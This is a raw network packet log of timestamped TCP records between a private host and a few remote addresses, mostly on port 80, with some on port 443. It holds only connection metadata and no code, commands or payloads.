Nov 20, 2024 14:43:43.130316973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.130942106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.131102085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.131149054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.132114887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.132190943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.133111000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.133174896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.133302927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.133316994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.133351088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.133368969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.134212971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.134330034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.134624004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.134673119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.135687113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.135760069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.135847092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.135911942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.136265993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.136327982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.136512041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.136564016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.137447119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.137841940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.138730049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.138741970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.138753891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.138801098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.138835907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.139374018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.140255928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.140317917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.140455008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.140466928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.140506983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.141314983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.141388893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.141613960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.141777992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.142182112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.143125057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.143202066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.143438101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.143487930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.144601107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.144610882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.144625902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.144648075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.144671917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.145272017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.145308018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.145375013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.146219969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.146384001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.146436930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.147258997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.147326946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.147425890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.147470951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.148283005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.148346901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.148503065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.148694038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.149281979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.149406910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.149456024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.150387049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.150399923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.150441885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.150460958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.151417017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.151782990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.151863098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.152808905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.152827024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.152879000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.153373957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.153454065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.153892994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.153949976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.157273054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157346010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.157382011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157394886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157438993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.157466888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157479048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157516956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.157548904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157561064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157572985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.157598019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.157619953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.158587933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.158653021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.158660889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.158739090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.159480095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.159535885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.159841061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.159919024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.160602093 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.160713911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.161431074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.161499977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.161655903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.161668062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.161709070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.162566900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.162686110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.162900925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.162960052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.163753986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.163913012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.164009094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.165014029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.165081024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.165188074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.165318012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.165605068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.165663958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.165879011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.165929079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.166682959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.170128107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.312637091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.312647104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.312786102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.312896013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.312903881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.312983036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.313824892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.314313889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.314318895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.314395905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.314532042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.314646006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.315378904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.315398932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.315553904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.315553904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.316443920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.316474915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.316736937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.317256927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.317390919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.317492962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.318296909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.318413019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.318445921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.318752050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.319269896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.319391012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.319428921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.319499016 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.320807934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.320816994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.321316004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.321316004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.321549892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.321556091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.321655989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.322350025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.322525978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.322535992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.322577953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.323407888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.323550940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.323616028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.323827982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.324378014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.324469090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.324474096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.324532986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.325416088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.325535059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.325659990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.326533079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.326740980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.327353001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.327421904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.327475071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.327594995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.328517914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.328630924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.328999996 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.329047918 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.329078913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.329123974 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.329493046 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.329502106 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.329519033 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.329523087 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.329545975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.329705954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.329823017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.329926014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.330538988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.330642939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.330687046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.330737114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.331507921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.331621885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.332180977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.332426071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.332552910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.332669020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.332668066 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.332700968 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.332712889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.332745075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.332768917 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.333093882 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:43.333103895 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:43.333545923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.333719969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.333795071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.334619045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.334641933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.334713936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.335630894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.335858107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.335891962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.336138010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.336760044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.336846113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.336873055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.337476969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.337619066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.337645054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.337748051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.338639975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.338762999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.338957071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.339181900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.339677095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.339746952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.339778900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.340631962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.340873957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.340918064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.340954065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.340987921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.341694117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.341820002 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.341823101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.341913939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.342726946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.342819929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.342905045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.343003035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.343763113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.343853951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.343959093 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.344777107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.344875097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.344907045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.345268965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.345820904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.345905066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.345971107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.346127987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.346848011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.346941948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.347352028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.347910881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.347969055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.348215103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.348874092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.349329948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.349426985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.349714041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.349877119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.349935055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.349999905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.350191116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.350867987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.350971937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.351108074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.351269960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.351948023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.352041006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.352277040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.352350950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.353192091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.353209019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.353343010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.353955984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.354094982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.354116917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.354149103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.354991913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.355149984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.355192900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.355299950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.356021881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.356066942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.356405973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.356981993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.357064962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.357084036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.357542992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.358020067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.358093023 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.358150005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.358243942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.358937979 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.358972073 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.359041929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.359108925 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359128952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.359170914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.359179974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.359246016 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359276056 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.359507084 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359508991 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359533072 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.359599113 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359747887 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.359761953 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.359832048 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.360074997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.360110998 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.360120058 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.360143900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.360198021 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.360409021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.360532999 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.360544920 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.360742092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:43.361032963 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.361049891 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.361139059 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.361150026 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:43.361161947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:43.361294985 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:43.361304998 CET	443	49886	13.107.246.38	192.168.2.6
